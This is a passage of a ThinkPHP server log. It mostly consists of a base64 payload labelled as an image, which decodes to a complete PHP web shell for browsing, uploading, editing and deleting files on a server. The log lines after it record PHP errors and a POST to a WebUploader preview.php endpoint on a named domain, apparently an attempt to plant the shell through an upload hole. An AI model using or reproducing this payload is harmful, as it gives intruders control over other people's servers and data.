'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T03:31:42+08:00 ] 116.213.36.234 POST www.51tianwei.com/plugins/webuploader/0.1.5/server/preview.php [运行时间:0.002461s] [吞吐率:406.35req/s] [内存消耗:196.73kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'plugins', 2 => 'webuploader', ), ) [ info ] [ HEADER ] array ( 'host' => 'www.51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 